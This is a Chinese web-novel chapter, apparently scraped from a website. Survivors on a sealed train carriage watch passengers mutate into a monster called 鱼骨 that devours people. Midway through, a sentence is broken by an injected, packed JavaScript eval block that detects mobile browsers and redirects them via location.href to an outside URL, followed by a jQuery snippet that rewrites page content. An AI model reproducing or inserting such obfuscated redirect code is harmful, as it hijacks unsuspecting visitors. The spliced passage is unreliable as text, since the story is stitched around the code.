结果出人意料,奚回同样愕然。
原本等着阿哲被打脸,没想到现实莫名奇妙给了她一巴掌。
“什么情况?推那么多人进隔离间,一个没中?”奚回忍不住感慨。
想到韩择母亲最后平安抵达地下城,她下意识认定这次危机被轻松化解,没想到还能有反转。
“不会又是什么新变异污染因子吧……”离茉小声嘀咕。
楚立抱怨:“哎,太麻烦了,赶紧变怪物还好认点。”
离茉瞪了他一眼,揶揄道:“韩择能跟你换换就好了,等怪物变身,你一拳干掉,多好?”
楚立一本正经回应:“那你低估韩择了。”
离茉无奈摇了摇头,不想再接话。
奚回苦笑着提醒:“也许污染更危险呢?”
重音落在“危险”二字上,有原住民在场,她没法明说,试着以关键词暗示。
先知系统提到过“危险”,只是他们不知具体危险的方面,如今看来,扶光号列车上潜藏的危险极有可能就是污染。
也许通关副本的关键就是避免接触污染。
楚立听出话中含义,不再继续这个话题,转而关注起3车厢内的情况。
车厢内已经从死一般的沉寂中苏醒,恐惧开始攻击理智,乘客们逐渐躁动起来,惊恐万分地问陈远峰该怎么办。
“赶紧穿好防护服,还剩一次机会,请谨慎使用。”
陈远峰的回答听上去格外冷漠。
但这是实话,外面的人帮不了他们,最终还得他们自己做选择,选中生和死的几率都是50%,人人平等。
下一秒,3车厢内所有人戴好防护服头罩,开始第二轮筛选。
韩菀浑身颤抖,面色苍白,视线被泪水模糊,连“害怕”二字都说不出口了,只低头看着肚子,伸手抚了上去,眼中全是不甘心。
这一刻,也许与恋人死别并不是最恐怖的事,她更担心肚子里的小生命无法降生。
阿哲拍着窗玻璃,吸引韩菀的注意,急切安慰:“没事的菀菀,还有机会,你和宝宝都会没事的。”
听着毫无营养的空话,韩菀抿着唇点点头,眼睛里重燃希望的火苗。
不管是为了自己,还是为了肚子里的孩子,她都不想放弃。
“你等着,列车上也许有特别应对科警员,我去找找,很快回来,你等我。”阿哲迫不及待提出想法。
“不,阿哲,你别走,外面的人帮不了我们……”
韩菀慌了神,伸向想抓住正欲离开的男人,手指撞上玻璃,疼得她拧起眉心。
“放心菀菀,我一定会找人救你。”
男人留下最后一句话,潇洒转身远离,纵使韩菀连声呼唤,也没唤得男人一次回首。
韩菀望着男人逐渐消失得背影,心中莫名生出不好的预感。
他们也许没有机会再见了。
泪水在眼眶中打转,她试图劝自己勇敢,可终究被最后一次机会的压迫感压倒,后背靠着通道门,一点点滑坐到地上。
韩菀父母远远看到女儿破碎的模样,急忙赶到门边,搀扶着她站起身,重新回到座位上,轻声安抚着她的情绪。
被蒙在鼓里的一家三口并不知道,阿哲转身时,嘴角难以抑制地露出了如释重负的窃笑。
那一瞬间,只有一直盯着阿哲一举一动的奚回捕捉到了。
他或许在想,这场意料之外的危机是天赐良机,为他解决了一个不知该如何妥善处理的难题。
他在暗中祈祷,希望意外发生,希望韩菀一家被永远留在3车厢内。
败类!人渣!
任何一个词都不足以表达奚回对这只臭虫的唾弃。
她愤懑地挤回通道门前,被怒气占满的眼睛里,流露出几分对韩菀复杂的情绪。
哀其不幸,怒其不争。
一抬眼,恰好对上韩择似笑非笑的眼神,奚回急忙收敛起外放的情绪。
「奚回:你不气?」
奚回先发制人。
韩择表情平淡地摇了摇头。
「韩择:我的记忆中没有父亲这个角色,他于我而言,不过是陌生人。」
奚回语塞,心情更复杂了,一时不知是该庆幸,还是该同情。
车厢内的乘客重拾理智,军官再次主持大局,组织众人商讨如何利用最后一次机会。
有人提出:“被污染的人除了病症表现外,还会有情绪上的异常。”
有人附和:“没错,情绪不稳定的人比较可疑。”
这个参考条件被提出后,此前暴怒和叫嚷的人进了第二批被怀疑对象名单,陆续被指认,成为众矢之的。
莫名被推到风口浪尖,这些脾气不好的人哪能忍,怒骂道:“故意引导的人才更可疑吧!说不定是故意携带污染因子上车,想方设法废掉唯一2次解锁机会,到时候就可以转化所有人了是吧?”
一些摇摆不定的人产生怀疑,另一些坚信自己想法的人更觉这是搅浑水。
两方据理力争,拒不退让,3车厢内逐渐引发一场新的骚乱与对骂。
「奚回:这……要吵到什么时候啊?虽然拖延时间是好事吧,但我们都下不了车,弑神行动也没法进行啊……」
「离茉:纯浪费时间。」
「楚立:所以车上为啥会有被污染的人啊?」
「庞生:大概是顺天成员的手笔,故意让自己成为污染因子携带者,伺机制造混乱。」
「楚立:啊?自杀式袭击?有啥意义啊?」
「离茉:别尝试理解疯子。」
「奚回:如果是顺天成员,那其他车厢估计也会有危险。」
「庞生:嗯,刚才陈远峰已经联系应急车站待命的星火成员,很快会安排污染变种研究机构前往应急车站,届时进行大筛查,应该能规避危险。」
「奚回:还不知道3车厢要多久才能解锁……」
「韩择:快了,污染变种已经产生了。」
随着韩择话音落下,奚回等人的视线自然聚焦到3车厢内。
在无休止的争执与冲突动静中,陡然掺杂进一点不协调的声音——惊恐的尖叫和痛苦的哀嚎。
争吵中的人瞬间安静下来,人群下意识向两端散开,留出中心一块正发生异变的区域。
一名站在靠窗座椅前的乘客双手扶着椅背,弓背俯身,头埋得很低,看不清表情,只能听见他嘴里不停发出怪异的吼声。
那声音听上去痛苦万分,似乎有什么正折磨着他。
四周的人不敢靠近,表情复杂地盯着不停哀嚎的乘客,没人知道他怎么了。
倏然间,吼声变弱,演变成一种古怪的声响,就好像有人被掐住了脖子,发出“嗬嗬”的喉鸣。
“这不对吧……”
人群中不知是谁小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338716|177480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声嘀咕了一句,声音有些发颤。
就在众人面面相觑,不知该做些什么的时候,污染变种现身了。
那名行为诡异的乘客身体一点点膨胀起来,原本宽松的防护服变成了紧身衣,紧紧勒住他跳动的肌肉。
在震惊的目光注视下,膨胀的身体挤爆了防护服。
那人的骨头疯狂生长,丢弃了不合身的皮肉出逃,肌肉被骨头撕扯得四分五裂,外露的骨头仿佛发了芽,长出一排排整齐的尖刺,让他整个人看起来像一条被吃剩下的鱼。
骨头不断生长,那人看上去越来越高,很快脑袋就抵到了车顶。
防护服头罩被撑破,露出形似鲨鱼的脑袋,嘴不停开合,重复着一个词:
“好冷……好冷……好冷……”
长到拖地的手臂,同样由残缺不全的肉块和布满尖刺的骨头连接,胡乱在车厢内挥舞。
「韩择:这污染变种叫鱼骨,现在这个时间点,不知是否有对付祂的办法。」
当韩择向盟友们介绍鱼骨时,周围的人已经开始尖叫着逃窜,鱼骨挥舞着手臂抓向他们,抓住一人就往嘴里塞。
只见鲨鱼头咬住乘客的脑袋,双手扒下对方的皮肉,一块接着一块往带刺的骨头上挂。
整个过程就好像忍受不住寒冷的人,抢夺别人的衣服穿。
很快,血腥味在车厢中弥漫。
乘客们惊恐地逃散,开始都涌向车厢两端的通道门,奈何车厢处于封锁状态,里面的人无处可逃。
鱼骨的下半身挤在座椅之间,一时出不来,祂只是一味得伸长手臂,为抓不到人而恼怒。
部分乘客绝望地拍打着通道门玻璃窗,急切渴望外部帮忙;部分乘客转身找地方躲藏,陆续藏入座椅下方;军官和几名手下不愿坐以待毙,纷纷掏枪,枪口瞄准污染变种,疯狂射击。
一阵枪林弹雨,几乎每一枪都打在了鱼骨身上,打得祂浑身血肉模糊,痛苦吼叫。
可惜,普通的子弹对污染变种无效,只是让祂更暴躁。
“好冷……好冷……好冷……”
鱼骨扭动着身体,最终挣脱了座椅的束缚,挥舞着手臂,冲向聚集在前端通道门口的人群,一心想要撕下更多皮肉填补受伤的地方。
尖叫声四起,门前的人互相推搡,惊恐地想要逃离。
人员太聚集,污染变种一把抓住3人,兴奋地塞进嘴里。
鲜血四溅,肉块在鱼骨胡乱的撕扯中掉落,落到因惊吓而瘫软倒地的人身上,滋养着他们眼中的绝望。
韩择只是静静地站在原地,看着车厢中的乱象,没有要帮忙的想法。
他的视线一直跟随着韩菀。
此刻韩菀与父母位于前端通道门附近,和正在拼命逃离的其他乘客一样,趁着鱼骨处理嘴里3人的空隙,贴着边,跨过座椅,一点点远离危险区域。
有时候运气就是这么令人无语。
鱼骨没看到瘫倒在通道门前的乘客,反而注意到正在逃离的人群,转身就开始抓人。
韩教授为保护妻女撤离,成了下一个受害者。
韩菀痛哭流涕,尖叫着想要救回父亲,母亲含泪阻止,忍痛继续逃离。
原本她们是有机会逃走的,当她们跟随着人群往另一端通道门跑时,最早被鱼骨袭击的乘客被同化变异,残缺不全的尸体动了起来,化作另一个鱼骨,挡住了逃命乘客的去路。